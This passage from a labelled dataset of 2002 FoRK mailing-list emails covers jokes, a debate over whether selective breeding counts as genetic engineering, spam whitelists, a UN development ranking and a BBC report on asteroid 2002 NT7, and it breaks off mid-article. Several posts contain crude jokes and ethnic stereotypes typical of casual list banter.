23 > +""Dick Cheney is EVIL"" 4 6 > +""Pat Buchanan is EVIL"" 3 6 > +""Ghandi is EVIL"" 2 5 > +""Bart Simpson is EVIL"" 0 1 > +""Geoff Gachallan is EVIL"" 0 0 > > > -Ian. > > > ----------- > FoIB mailing list -- Bits, Analysis, Digital Group Therapy > http://foib.ianbell.com/mailman/listinfo/foib http://xent.com/mailman/listinfo/fork",0,1 Bill Humphries ,Luis Villa ,"Tue, 23 Jul 2002 16:10:16 -0700",Re: [Baseline] Raising chickens the high-tech way,"On Tuesday, July 23, 2002, at 03:49 PM, Luis Villa wrote: > It's quite a bit more than natural selection; the times had a > fascinating article a few months back (possibly posted as bits here) > that note that one Holstein bull who died in the 70s is paternally > related to something like 40% of the world's cattle. That's way, way > more than natural selection, and (given the difficulty and expense of > isolating specific genes for size, industrial-living-ness, etc.) more > expansive than raw gene manipulation will be for some time. http://www.absglobal.com/ They know bull semen, and the burger you ate at lunch may have had its sire's contribution to its genetics purchased through them. My ex-wife worked in their lab for a year while I was in gradual school. We had boxes of masking tape from ABS pre-printed with the names and serial numbers of 'decomissioned' bulls. They are also known for the hideous puns on their sign just outside of Madison on I90/94. But the puns haven't been any good since the secretary who first wrote them retired. ---- Bill Humphries http://www.whump.com/moreLikeThis/ http://xent.com/mailman/listinfo/fork",0,1 Sherry Listgarten ,"""'harley@argote.ch'"" , fork@spamassassin.taint.org","Tue, 23 Jul 2002 16:16:34 -0700",RE: My brain hurts,"> Someone tell me a joke, or email me a beer or something... A man is out driving in the country, and drives past a farm with the most beautiful pig -- fat, healthy, pink, clean, etc. Just a lovely pig. He gets out to admire the pig, and notices that it has a wooden leg! The farmer comes by and says ""Howdie"", and the passerby says ""I was just stopping to admire your pig. What a lovely pig. But what's with the woo..."" The farmer interrupts ""Oh, yes, this is the most wonderful pig! When our house had a huge fire a few years back, and was burning down, this pig came in and squealed and made sure we all woke up and got out. She really saved our lives!"" ""My"", says the passerby, ""what a great story. But what's with the wooden l..?"" The farmer jumps in again: ""And then, when my youngest was out in the street playing just a few months ago, and a big tractor trailer came barrelling down on her, this pig jumped right in and pushed her out of the way, getting them both to the side of the road before the truck came by!"" ""I'll say, that does show great bravery,"" said the passerby. ""But, if you don't mind my asking, what *is* the deal with the wooden leg?"" The farmer paused. ""Well,"" he said, ""a pig like that -- you don't want to eat it all at once!"" -- Sherry. http://xent.com/mailman/listinfo/fork",0,1 Owen Byrne ,fork@spamassassin.taint.org,"Tue, 23 Jul 2002 20:42:35 -0300",Re: My brain hurts,"My only joke, thanks to a professor at the University of Manitoba, circa 1997. Set in the old west. A cowboy is riding along on his favorite horse when he's suddenly surrounded and taken prison by a band of roaming Indians. The indians take the cowboy and his horse and tell him the traditional way that the tribe deals with their victims: Each day for the next 3 days, you get a wish. If its in our power to grant it to you, we will. After the 3rd wish is done, you die a horrible slow death. Time for your first wish. The cowboy thinks a bit, and says ""I want to talk to my horse."" So the indians bring the horse over, the cowboy whispers in his ears, and the horse runs off. A little while later the horse comes back with a beautiful blond naked woman. The cowboy and the woman go in the tent, appropriate noises are heard, and then the horse takes the woman away. The next day, time for the wish comes, and the Indians, amazed at yesterday's performance, all gather round. The cowboy says ""I want to talk to my horse"". So the horse is brought over, the cowboy whispers in its ears, and the horse takes off. A little while later the horse comes back, with a beautiful brunette, naked, same routine as before, cowboy and the women go in the tent, ..., etc. On the third and final day, the indians are totally amazed, and are eager to hear what the cowboy's wish will be. So they all gather round, and the cowboy again says ""I want to talk to my horse."" The horse is brought over, and this time the cowboy grabs the horse by the head, stares right at him, and says -- ""Read my lips -- Posse! Posse!"" Owen http://xent.com/mailman/listinfo/fork",0,1 Rohit Khare ,fork@spamassassin.taint.org,"Tue, 23 Jul 2002 12:25:33 -0700",Re: HD/ID: High-Def Independence Day,"On Sunday, June 30, 2002, at 12:18 AM, Rohit Khare wrote: > You're all invited to join me for a South Bay Hi-Def spectacle at my > apartment in Sunnyvale on the Fourth! So here's the final report on the HD/ID party. As no less than TEN forkers pointed out, the invitation, while sent on Sunday 6/30, was only delivered ten days later on 7/9. It got flagged as spam. Yes, on a mailing list awash in crap -- and some it is even unsolicited commercial email, heavens! -- our trusty mailman filters captured and quarantined just two posts that week, one from me that was > 100K (the fat articles) and one that was bcc:d (the invite). Now, it was a little difficult to recalibrate self-esteem, which as you can imagine was proportional to the two-digit attendance -- in binary! According to the George Washington documentary, I almost had as much alcohol on hand than he did -- Virginia tradition being to copiously lubricate each voter. Election day was a public festival day, and it cost poor George an average of SIXTY-FOUR shots of hard liquor PER VOTER that day... So, herewith is the prize for most appropriate flame my delayed invite got: > I unfortunately will have had other plans and thus will > not be able to have made it. Yes. > > -faisal One of our competitors added: > Wow - I just got this now - I guess that was KnowLate! And there is no prize for guessing which cold, dark forks emitted these two plaints: From Whiny Dwarf: > Fix your mail server! just a bit late! And Angry Dwarf: > God DAAAAAMMMMMNNNNN IIIIITTT! I didn't see your message until now! > Fuck! Fuck! Fuck! > > We would have been there if I had seen the message before. Kuso! (as > the Japanese would say). > > Fuck. > Fuck. > Fuck. > Fuck. > Fuck. > Fuck. Perhaps I should remind the latter gently that it was not in any way his fault. The universe *was* out to get him! And finally, here's an object lesson for all ye of little faith to learn from my sins: > SpamAssassin rated it spam (barely). Gotta stop > using those ""words and phrases which indicate porn"" :-) Yes, boys and girls, Mr. Assassin, like Mr. Lott, gets very annoyed if you call the Great American Shrine a... ""boob tube"" :-) Rohit PS. This is the obscure footnote where I actually hide the bits in this post. What we just encountered here is that an event-processing system with a 10-day RTT cannot be used to reliably handle events more often than once every 20 days. That's why I waited to reply. six bonus points to anyone who can prove this hunch of mine. Hint: try analyzing the problem in frequency-domain. http://xent.com/mailman/listinfo/fork",0,1 CDale ,fork@spamassassin.taint.org,"Tue, 23 Jul 2002 19:26:48 -0500 (CDT)",moooozilla,"funny load message: moo!moo!moo!moo!moo!moo!moo!moo!moo!moo!moo!moo!Document http://flog.us/ loaded successfully teehee C -- ""My theology, briefly, is that the universe was dictated but not signed."" (Christopher Morley) http://xent.com/mailman/listinfo/fork",0,1 """Joseph S. Barrera III"" ",Robert Harley ,"Tue, 23 Jul 2002 17:47:35 -0700",Re: My brain hurts,"Okay, here's a joke I *just* made up while I was driving my car at home: One day a pirate walks into a bar with a steering wheel attached to his crotch. So the bartender says to him, ""You know you have a steering wheel attached to your crotch?"" And the pirate says, ""Aaar, its driving me nuts!"" http://xent.com/mailman/listinfo/fork",0,1 """Bill Kearney"" ",,"Wed, 24 Jul 2002 07:43:23 -0400",Re: HD/ID: High-Def Independence Day,"> Turn it off! It not only risks silent false > positives, but suffers them in such a way that > individuals cannot adjust/detect/remedy them. Better yet, start another list; fork-spam and forward the suspect items to it. Much like the noarchive list. This wouldn't be perfect but it'd be better than nothing at all. > Usually I figure if I miss a FoRK post, > no big deal, I'll pick it up by the replies if it's interesting. +1 -Bill Kearney http://xent.com/mailman/listinfo/fork",0,1 Eugen Leitl ,Jim Whitehead ,"Wed, 24 Jul 2002 14:18:51 +0200 (CEST)",Re: SimPastry,"On Tue, 23 Jul 2002, Jim Whitehead wrote: > You can download a Pastry simulator off of this web site. Why should I download anything from Microsoft? My firstborn is my and my alone. No technology is worth that price. (And since when is Redmond into technology? Weather reports from Dis are so far unchanging). http://xent.com/mailman/listinfo/fork",0,1 Luis Villa ,fork@spamassassin.taint.org,24 Jul 2002 08:36:36 -0400,Re: HD/ID: High-Def Independence Day,"On Wed, 2002-07-24 at 07:09, Justin Mason wrote: > > ""Gordon Mohr"" said: > > > I still think self-add whitelists are underrated. > > A FoRK whitelist would presumably start with > > all subscribers, and grow from there. Bouncing > > problem mail, in a way that humans can understand > > how to whitelist themselves for a resend, avoids > > the problem of silent failures without opening the > > door to lazy, forged-""from"" spammers. > > Big problem I see with this system, is the > automatically-generated-but-important mails like online tickets, > bills, etc. Besides lists, this is the reason I can't use such a system. I get more than a few mails from 'dont-respond-to-this-address@' password reminder generators, for example. SpamAssassin does flag a few of those as spam, but at least I've still got them. Luis http://xent.com/mailman/listinfo/fork",0,1 ThosStew@aol.com,,"Wed, 24 Jul 2002 08:53:59 EDT","Re: ""Ouch. Ouch. Ouch. Ouch. Ouch....""(was Re: My brain hurts)","Xander Blakley quotes a Russian joke in his terrific book _Siberia Bound_. Frenchman, American, and Russian get to talking bout which country has the more desireable women. Frenchman says, ""Ah, when a Frenchman puts his hands around zee waist of his lover, his fingers form a complete circle and touch--not because his hands are so large, but because zee French woman's waist is so slender."" American says ""Yep, but when an American woman gets on a horse, her heels reach all the way down to the ground--and it's not because American horses are short, but because American women have such endlessly long, sexy legs."" Russian says: ""Da, but when a Russian slaps his wife's ass on his way out of the house in the morning, it's still jiggling when he comes back after work--and it's not because her ass is so big, but because the Russian work day is so short."" Tom http://xent.com/mailman/listinfo/fork",0,1 ThosStew@aol.com,"joe@barrera.org, harley@corton.inria.fr","Wed, 24 Jul 2002 08:54:07 EDT",Re: My brain hurts,"In a message dated 7/23/2002 8:51:00 PM, joe@barrera.org writes: >Okay, here's a joke I *just* made up while I was driving my car at home: Joe, I think you need a new car with more leg room Tom http://xent.com/mailman/listinfo/fork",0,1 ThosStew@aol.com,"dl@silcom.com, fork@spamassassin.taint.org","Wed, 24 Jul 2002 08:54:09 EDT",Re: [Baseline] Raising chickens the high-tech way,"In a message dated 7/23/2002 6:02:27 PM, dl@silcom.com writes: >If we're willing to count artificial >selection as genetic engineering, it's engineering that uses the general mechanism of genetics (inheritance of traits) without understanding the specific mechanisms (genes, DNA, etc.). http://xent.com/mailman/listinfo/fork",0,1 ThosStew@aol.com,"dl@silcom.com, fork@spamassassin.taint.org","Wed, 24 Jul 2002 09:08:12 EDT",Re: [Baseline] Raising chickens the high-tech way,"In a message dated 7/23/2002 6:02:27 PM, dl@silcom.com writes: >If we're willing to count artificial >selection as genetic engineering, Of course was genetic engineering. It used the fundamental mechanism of genetics (inheritance of traits), and not randomly, but intentionally--breeding for long fur, fat hams, whatever. The degree to which the engineers--farmers, breeders--understood exactly how the mehcanism works is only marginally relevant to the question of whether it was engineering. Science progresses. Over the years, centuries, their, our, knowledge increased, and domestication became more effective. Bit by bit the mechanisms became known--Mendel making a major breakthrough. The first hybrid grains (which date from the 1920s) represent another step. Watson and Crick another, etc. But it's engineering--just as Roman architecture was civil engineering, even if they knew less about the mathematics behind it than we do today, just as Galen was a physician, though laughably ignorant by our standards. T Tom http://xent.com/mailman/listinfo/fork",0,1 Wayne E Baisley ,fork@spamassassin.taint.org,"Wed, 24 Jul 2002 08:06:40 -0500",Re: [Baseline] Raising chickens the high-tech way,"> it's engineering that uses the general mechanism of genetics (inheritance of > traits) without understanding the specific mechanisms (genes, DNA, etc.). Ah, like the way we used to make babies. And wine. And war. Cheers, Wayne And anagrams. http://xent.com/mailman/listinfo/fork",0,1 Mike Masnick ,Eugen Leitl ,"Wed, 24 Jul 2002 10:09:33 -0700","Re: Mossberg on 'ChoiceMail': ""In my tests, it cut my spam to zero.""","At 11:49 AM 7/24/02 +0200, Eugen Leitl wrote: >On Tue, 23 Jul 2002, Mike Masnick wrote: > >> Lately, a fairly large % of the spam I've been getting has been coming >> from spam systems that forge my own address as the ""from"" address... > >Include a random token with an expiration date with anything you send. >Valid whitelisting of From:you@here.net yet invalid random token would get >blocked. Adds to the level of annoyance, and makes it even less likely that I'll ever use it. >> Those spam messages would get through any whitelist I set up >> (especially since I email stuff to myself all the time). If >> whitelists become more popular, I imagine spammers will resort to >> doing that for the majority of their spams, making whitelists less >> helpful. > >Spammers cannot be bothered to keep track if individual whitelists >associated with a given email address. They don't have to. All they have to do is use some program (which, if they don't exist already, will certainly be around someday soon) that makes every spam they send show the recipient as the ""from"" address as well. >> Plus, I'm still not sure how I feel about whitelists. I don't think I'm so >> special that people should need to fill out a special form just to send me > >Of course you populate your whitelist with contents of your inbox minus >spam, and then add manually stuff from your addressbook. The adding manually thing doesn't seem like much fun. And, anytime I speak to someone new, it just makes it more unlikely that they will be willing to contact me. Having played around with whitelists in the past, you'd be amazed at how confused many people get by them as well. They tend to ignore the ""please apply"" messages. As an aside, am I the only person around who simply does not use the addressbook feature in email programs? I never have, and I don't see any reason to. It (along with not opening attachments) has helped me not to send out viruses to people. I generally use my own brain or my inbox as an addressbook, and search out the last email I received from someone and hit reply... >> email. I could see certain friends of mine getting fairly annoyed >> (especially those with multiple email addresses...). > >What's the point of multiple email addresses? They're a pain. Well, yes. *I* use one email address, but that doesn't mean all my friends do. You would need to convince everyone I know of that. Most people I know, at the very least, have a home and work email address. But plenty others have other addresses for various reasons. Keeping track of all of them for a whitelist seems like a pain. It forces them to remember which email addresses are already approved and avoid using others. Plus, I know plenty of people who change jobs, and suddenly get a new email address from their new job. Wouldn't it suck if, in sending out your new job info, you had to fill out a new application for each friend just to tell them about your new job email address? -Mike http://xent.com/mailman/listinfo/fork",0,1 Eugen Leitl ,Mike Masnick ,"Wed, 24 Jul 2002 19:30:16 +0200 (CEST)","Re: Mossberg on 'ChoiceMail': ""In my tests, it cut my spam to zero.""","On Wed, 24 Jul 2002, Mike Masnick wrote: > Adds to the level of annoyance, and makes it even less likely that I'll > ever use it. Which annoyance? A string like f70539bb32961f3d7dba42a9c51442c1218a9100 somewhere in the message inserted by the system automatically doesn't change anything. Besides, there are simpler solutions: http://tmda.net/faq.cgi?req=all#4.10 > They don't have to. All they have to do is use some program (which, if > they don't exist already, will certainly be around someday soon) that makes > every spam they send show the recipient as the ""from"" address as well. See above. > The adding manually thing doesn't seem like much fun. And, anytime I speak So is installing the software. But you do it once. > to someone new, it just makes it more unlikely that they will be willing to > contact me. Having played around with whitelists in the past, you'd be http://tmda.net/faq.cgi?req=all#1.5 > amazed at how confused many people get by them as well. They tend to > ignore the ""please apply"" messages. > > As an aside, am I the only person around who simply does not use the > addressbook feature in email programs? I never have, and I don't see any I usually don't use it. Just to lookup addresses/names of people I forget, once in a while. > reason to. It (along with not opening attachments) has helped me not to > send out viruses to people. I generally use my own brain or my inbox as an Viruses? Other people's problem. Last virus I had was in 1988, or so. > addressbook, and search out the last email I received from someone and hit > reply... > > >> email. I could see certain friends of mine getting fairly annoyed > >> (especially those with multiple email addresses...). > > > >What's the point of multiple email addresses? They're a pain. > > Well, yes. *I* use one email address, but that doesn't mean all my friends > do. You would need to convince everyone I know of that. Most people I Maybe your friends should get used to tagged message delivery, then. > know, at the very least, have a home and work email address. But plenty > others have other addresses for various reasons. Keeping track of all of > them for a whitelist seems like a pain. It forces them to remember which > email addresses are already approved and avoid using others. You have strange friends. > Plus, I know plenty of people who change jobs, and suddenly get a new email > address from their new job. Wouldn't it suck if, in sending out your new Why should changing my job change my private address? I don't use corporate mail for private purposes. > job info, you had to fill out a new application for each friend just to > tell them about your new job email address? I don't think this is a significant problem in practice. http://xent.com/mailman/listinfo/fork",0,1 ,,"Wed, 24 Jul 2002 10:35:44 -0700 (PDT)","Re: Mossberg on 'ChoiceMail': 'In my tests, it cut my spam to zero.'","email. I could see certain friends of mine getting fairly annoyed >> (especially those with multiple email addresses...). > > What's the point of multiple email addresses? They're a pain. > Ah the great spam debate wages on ... So where's Kragen in this whole mess ;-) Eugen, the reason for multiple email addresses (at least _my_ reason) is that I like to separate my friends from say, FoRK, from say, my school accounts, from say my spam box. I tend to get a veritable buttload of mail from various sources, and sometimes I don't have a chance to go through it all. I have it mostly setup on a filter basis (those friends that go to the carey@ address do get filtered _generally_ speaking into the friends box, those fork posts, _generally_ go into the FoRK pile. ) Its still nice to know that if I need to get someone's response and I haven't gotten around to putting them into the friends section of my carey@ address, that I can give them another address (bitbitch, which gets considerably less traffic) and I can be assured of flagging it down. When I setup my PC to run BSD and then I can get sendmail or procmail or whatnot to be a better mail program and I can spend the time making even _better_ filters than The Bat! provides for me now, I'll probably change my mind on the multiple email address thing. I still like knowing that I can send the assholes (or undesirable guys I don't feel like dating ;) to my @hotmail account. I'm also going to also rescind my prior request not to have a member-only fork. As snobby and elitist as a member-only FoRK would be, I'm starting to feel the pain of the whole spam to bits ratio on fork. I'd be willing, multiple email addresses and all, to sign up for a whitelist provided the system could handle email sent from say cnn.com that was referenced to my address (say the On Behalf of) emails that a few of us tend to send. Does such a system exist? I'm rather ignorant on the whole whitelist concept, and I know a few of you are far far more knowledgable. My half a cent here... : I will be so damn glad when I am done with this whole moving thing... back on fork when I'm in NH.. :) Woo hoo! Law school!) http://xent.com/mailman/listinfo/fork",0,1 Elias Sinderson ,fork@spamassassin.taint.org,"Wed, 24 Jul 2002 11:01:45 -0700","Re: Mossberg on 'ChoiceMail': 'In my tests, it cut my spam to zero.'","bitbitch@magnesium.net wrote: >I'm also going to also rescind my prior request not to have a member-only >fork. As snobby and elitist as a member-only FoRK would be, I'm starting >to feel the pain of the whole spam to bits ratio on fork. > Here, here... The member-only lists that I'm on have a spam count of near zero. An additional benefit is that the list archives aren't full of spam either. E http://xent.com/mailman/listinfo/fork",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Wed, 24 Jul 2002 20:06:13 +0200 (CEST)",Re: My brain hurts,"More than a dozen jokes - thanks guys and girls! (plus some anti-French abuse from the usual suspect). Well my brain doesn't hurt so much any more, and it was well worth it. I've now got an even faster method for elliptic-curve point counting, both pratically and asymptotically. It lifts a curve over a field of degree n in time O(n^(2+1/2+eps)), or O(n^(2+eps)) with precomputation. Before the best methods took O(n^(3+eps)) without precomputation, or O(n^(2+1/2+eps)) with it. The precomputation is done once per field, not per curve, and takes time O(n^(3+eps)). Here eps is an arbitrarily small number, hiding some logarithmic factors. After lifting, you compute a norm in time O(n^(2+1/3+eps)) to get the number of points on the curve. Here's an example over a 1009-bit field, without precomputation, using a 1 GHz Pentium III: ------------------------------------------------------------------------------ > ./ecpc4 -d 1009 -j 0x123 INFO: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- INFO: -=-=-=-=-= ECPC: Elliptic Curve Point Counting, made easy! =-=-=-=-=- INFO: -=-=-=-=-= v4.0.0. (c) ArgoTech 2001. All rights reserved. =-=-=-=-=- INFO: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- [...] INFO: Picked field polynomial 1+x^55+x^1009. INFO: Starting ECPC on j = 0x123... INFO: Done after 138.33 seconds. INFO: Checking... OK OK OK OK OK OK OK OK OK OK [...] CURVE: 5486124068793688683255936251187209270074392635932332070112001988456197381759672947165175699536362793613284725337872111744958183862744647903224103718245568925556758419805069056847065147709058947190200192542277555125346128173135573355537502225974504428432790108988791795746287271944131683364548299056172016 [...] INFO: 1 curve processed. INFO: Bye! ------------------------------------------------------------------------------ L8r, Rob. .-. Robert.Harley@argote.ch .-. / \ .-. Software Development .-. / \ / \ / \ .-. _ .-. / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / `-' `-' \ / \ / \ \ / `-' ArgoTech `-' \ / `-' http://argote.ch/ `-' http://xent.com/mailman/listinfo/fork",0,1 Tom ,fork@spamassassin.taint.org,"Wed, 24 Jul 2002 14:27:11 -0400 (EDT)",USA USA WE ARE NUMBER ....six.,"http://news.bbc.co.uk/2/hi/americas/2147882.stm#table ""Around the world, there is a growing sense that democracy has not delivered development"" Sakiko Fukuda-Parr UN report author HDI rank 2002 LifeEXp InfantMort/1000 GDP$percapita AdultLit% 1 Norway 78.5 4 29,918 99%* 2 Sweden 79.7 3 24,277 99%* 3 Canada 78.8 6 27,840 99%* 4 Belgium 78.4 6 27,178 99%* 5 Australia 78.9 6 25,693 99%* 6 United States 77 7 34,142 99%* 7 Iceland 79.2 4 29,581 99%* 8 Netherlands 78.1 5 25,657 99%* 9 Japan 81 4 26,755 99%* 10 Finland 77.6 4 24,996 99%* http://xent.com/mailman/listinfo/fork",0,1 """Jim Whitehead"" ",,"Wed, 24 Jul 2002 11:45:12 -0700",RE: USA USA WE ARE NUMBER ....six.,"> ""Around the world, there is a growing sense that democracy has not > delivered development"" Sakiko Fukuda-Parr UN report author As opposed to some other form of government which has? - Jim http://xent.com/mailman/listinfo/fork",0,1 Karl Anderson ,ThosStew@aol.com,24 Jul 2002 11:51:48 -0700,Re: [Baseline] Raising chickens the high-tech way,"ThosStew@aol.com writes: > In a message dated 7/23/2002 6:02:27 PM, dl@silcom.com writes: > > >If we're willing to count artificial > >selection as genetic engineering, > > Of course was genetic engineering. It used the fundamental mechanism of > genetics (inheritance of traits), and not randomly, but > intentionally--breeding for long fur, fat hams, whatever. The degree to which > the engineers--farmers, breeders--understood exactly how the mehcanism works > is only marginally relevant to the question of whether it was engineering. Naw, I still disagree, again because if I'm going to be so loose with the definitions, then I'd have to say that I myself am a genetically engineered organism. But I'm natural, baby. My parents were attracted to each other's phenotypes, mixed some genes in the hopes that those genotypes would get in there, and grew me around them. Sure, they engineered the process when they selected each other. But they didn't engineer the genetics. If genetic enginering wasn't such an important topic today, it wouldn't be such an important distinction. I guess that the reason that I disagree is that some groups arguing against any checks on genetic engineering use that same argument - ""we've been doing it since prehistory, so we don't need to apply any caution today"". -- Karl Anderson kra@monkey.org http://www.monkey.org/~kra/ http://xent.com/mailman/listinfo/fork",0,1 Elias Sinderson ,fork@spamassassin.taint.org,"Wed, 24 Jul 2002 11:51:36 -0700",Re: [Baseline] Raising chickens the high-tech way,"Sorry, Karl, your confusing things. Thos is saying that selective breeding should be counted as genetic engineering, whereas you are extending his definition to include the attration that your parents felt... Unless your parents were selectively bred like livestock to produce you, I don't think you can make that case... :-) Elias Karl Anderson wrote: >ThosStew@aol.com writes: > >>Of course was genetic engineering. It used the fundamental mechanism of >>genetics (inheritance of traits), and not randomly, but >>intentionally--breeding for long fur, fat hams, whatever. The degree to which >>the engineers--farmers, breeders--understood exactly how the mehcanism works >>is only marginally relevant to the question of whether it was engineering. >> >> > >Naw, I still disagree, again because if I'm going to be so loose >with the definitions, then I'd have to say that I myself am a >genetically engineered organism. > http://xent.com/mailman/listinfo/fork",0,1 Luis Villa ,fork@spamassassin.taint.org,24 Jul 2002 14:54:03 -0400,RE: USA USA WE ARE NUMBER ....six.,"On Wed, 2002-07-24 at 14:45, Jim Whitehead wrote: > > ""Around the world, there is a growing sense that democracy has not > > delivered development"" Sakiko Fukuda-Parr UN report author > > As opposed to some other form of government which has? The report, apparently, makes that point as well. Tom seems to have taken things a slight bit out of context. :) Luis (busily planning his trip to #172) http://xent.com/mailman/listinfo/fork",0,1 Karl Anderson ,fork@spamassassin.taint.org,24 Jul 2002 13:14:51 -0700,Re: [Baseline] Raising chickens the high-tech way,"Elias Sinderson writes: > Sorry, Karl, your confusing things. No, it's just a silly discussion, but that's what picky semantic discussions turn into :) > Thos is saying that selective > breeding should be counted as genetic engineering, whereas you are > extending his definition to include the attration that your parents felt... Yes, I'm saying that if he extends ""genetic engineering"" to include selecting animals to breed, he must extend it to include selecting people to breed with. > Unless your parents were selectively bred like livestock to produce you, > I don't think you can make that case... :-) I'm saying that my parents selected each other, and that they did so because (among other reasons) each wanted the other's genes to be mixed with their own in the offspring that they were planning. What does it matter that they were selecting to produce their own offspring, rather than the offspring of two unrelated animals? -- Karl Anderson kra@monkey.org http://www.monkey.org/~kra/ http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,fork@spamassassin.taint.org,24 Jul 2002 14:58:50 -0400,Re: My brain hurts,">>>>> ""R"" == Robert Harley writes: R> CURVE: 5486124068793688683255936251187209270074392635932332070112001988456197381759672947165175699536362793613284725337872111744958183862744647903224103718245568925556758419805069056847065147709058947190200192542277555125346128173135573355537502225974504428432790108988791795746287271944131683364548299056172016 HA! Ha ha ha! ha, ha ha, a-hee, hee. aHEM! whew. (sigh) Good one. ok, Robert, you win :) -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 Tom ,fork@spamassassin.taint.org,"Wed, 24 Jul 2002 16:53:40 -0400 (EDT)",Re: [Baseline] Raising chickens the high-tech way,"On Wed, 24 Jul 2002, Elias Sinderson wrote: --]Sorry, Karl, your confusing things. Thos is saying that selective --]breeding should be counted as genetic engineering, whereas you are --]extending his definition to include the attration that your parents felt... The grain is this....... Selective breeding, cross polinization, ie is a MACROgenetic activites. Your dealing with big structures like whole sheep, plants, seed etc. Manipulating the actual DNA, protein sequences, etc etc is a MICROgenetic activity. MACROgenetic activites have decades on decades of testing... MICROgentic activities DO NOT. You guys get the point yet, or do you want to play another round of Obscura Detalist Retardo? -tom http://xent.com/mailman/listinfo/fork",0,1 Tom ,Luis Villa ,"Wed, 24 Jul 2002 16:55:03 -0400 (EDT)",RE: USA USA WE ARE NUMBER ....six.,"On 24 Jul 2002, Luis Villa wrote: --]The report, apparently, makes that point as well. Tom seems to have --]taken things a slight bit out of context. :) I was simply posting, I did nto even comment of the fsking thing. So back the F off biotches. Jezz, add too much and they jump on you , dont add anything but your name and they fill in thier own versions....Two fingers in the air. I LOVE YOU ALL. -tom http://xent.com/mailman/listinfo/fork",0,1 Karl Anderson ,Tom ,24 Jul 2002 14:22:48 -0700,Re: [Baseline] Raising chickens the high-tech way,"Tom writes: > MACROgenetic activites have decades on decades of testing... > MICROgentic activities DO NOT. An interesting idea I heard of was to use gene maps & genetic info about animals to guide the breeding process - essentially shortening the iteration time with genetic information, but not touching any genes themselves. -- Karl Anderson kra@monkey.org http://www.monkey.org/~kra/ http://xent.com/mailman/listinfo/fork",0,1 Tom ,Karl Anderson ,"Wed, 24 Jul 2002 17:13:22 -0400 (EDT)",Re: [Baseline] Raising chickens the high-tech way,"On 24 Jul 2002, Karl Anderson wrote: --]An interesting idea I heard of was to use gene maps & genetic info --]about animals to guide the breeding process - essentially shortening --]the iteration time with genetic information, but not touching any --]genes themselves. Thats where the gentic Purists bredding program was heading. Hitler wet himslef when his big brains laid out the plan of forced natural selection, images of strong young blonde boys marching around him sent him off in a double nostil coke blow frenzy.. Of course back then they did not have the fine tuned maps we got today. Macromap wise we got the host of gps angles over head beaming the answeres in feet to our ""where are we now"" musings, micromap wise we now have the ability to spot the ""will laugh at the goon shows"" switch"" All the early genticpurists had to go on was hkull size, hair color and schlongalongadingdangage. AS always the probelm is not that we can do this , its what we do with it. -tomwsmf http://xent.com/mailman/listinfo/fork",0,1 """Peter Kilby"" ",,"Wed, 24 Jul 2002 22:34:07 +0100",Asteroids anyone ?,"This is a multi-part message in MIME format. ------=_NextPart_000_000F_01C23362.3939B510 Content-Type: multipart/alternative; boundary=""----=_NextPart_001_0010_01C23362.3939B510"" ------=_NextPart_001_0010_01C23362.3939B510 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Not the computer game but ....... http://news.bbc.co.uk/1/hi/sci/tech/2147879.stm Wednesday, 24 July, 2002, 02:29 GMT 03:29 UK=20 Space rock 'on collision course' =20 An asteroid could devastate Earth =20 =20 By Dr David Whitehouse=20 BBC News Online science editor =20 =20 =20 An asteroid discovered just weeks ago has become the most threatening = object yet detected in space.=20 A preliminary orbit suggests that 2002 NT7 is on an impact course with = Earth and could strike the planet on 1 February, 2019 - although the = uncertainties are large.=20 Astronomers have given the object a rating on the so-called Palermo = technical scale of threat of 0.06, making NT7 the first object to be = given a positive value.=20 >>From its brightness, astronomers estimate it is about two kilometres = wide, large enough to cause continent-wide devastation on Earth.=20 Many observations=20 Although astronomers say the object definitely merits attention, they = expect more observations to show it is not on an Earth-intersecting = trajectory.=20 This asteroid has now become the most threatening object in the = short history of asteroid detection=20 =20 Dr Benny Peiser =20 It was first seen on the night of 5 July, picked up by the Linear = Observatory's automated sky survey programme in New Mexico, US.=20 Since then astronomers worldwide have been paying close attention to it, = amassing almost 200 observations in a few weeks.=20 Could it be deflected?=20 Dr Benny Peiser, of Liverpool John Moores University in the UK, told BBC = News Online that ""this asteroid has now become the most threatening = object in the short history of asteroid detection"".=20 NT7 circles the Sun every 837 days and travels in a tilted orbit from = about the distance of Mars to just within the Earth's orbit.=20 Potential devastation=20 Detailed calculations of NT7's orbit suggest many occasions when its = projected path through space intersects the Earth's orbit.=20 Researchers estimate that on 1 February, 2019, its impact velocity on = the Earth would be 28 km a second - enough to wipe out a continent and = cause global climate changes.=20 However, Dr Peiser was keen to point out that future observations could = change the situation.=20 He said: ""This unique event should not diminish the fact that additional = observations in coming weeks will almost certainly - we hope - eliminate = the current threat.""=20 Easily observable=20 According to astronomers, NT7 will be easily observable for the next 18 = months or so, meaning there is no risk of losing the object.=20 Observations made over that period - and the fact that NT7 is bright = enough that it is bound to show up in old photographs - mean that = scientists will soon have a very precise orbit for the object.=20 Dr Donald Yeomans, of the US space agency's (Nasa) Jet Propulsion = Laboratory in California, told BBC News Online: ""The orbit of this = object is rather highly inclined to the Earth's orbit so it has been = missed because until recently observers were not looking for such = objects in that region of space.""=20 Regarding the possibility of an impact, Dr Yeomans said the = uncertainties were large.=20 ""The error in our knowledge of where NT7 will be on 1 February, 2019, is = large, several tens of millions of kilometres,"" he said.=20 Dr Yeomans said the world would have to get used to finding more objects = like NT7 that, on discovery, look threatening, but then become harmless. = ""This is because the problem of Near-Earth Objects is now being properly = addressed,"" he said.=20 ------=_NextPart_001_0010_01C23362.3939B510 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Not the computer game but = .......   http://news.bbc.= co.uk/1/hi/sci/tech/2147879.stm   Wednesday, 24 July, = 2002, 02:29=20 GMT 03:29 UK Space rock 'on collision = course' =20 An asteroid could devastate=20 Earth By Dr David = Whitehouse=20 BBC News Online science = editor=20 An asteroid discovered just weeks = ago has=20 become the most threatening object yet detected in space.=20 A preliminary orbit 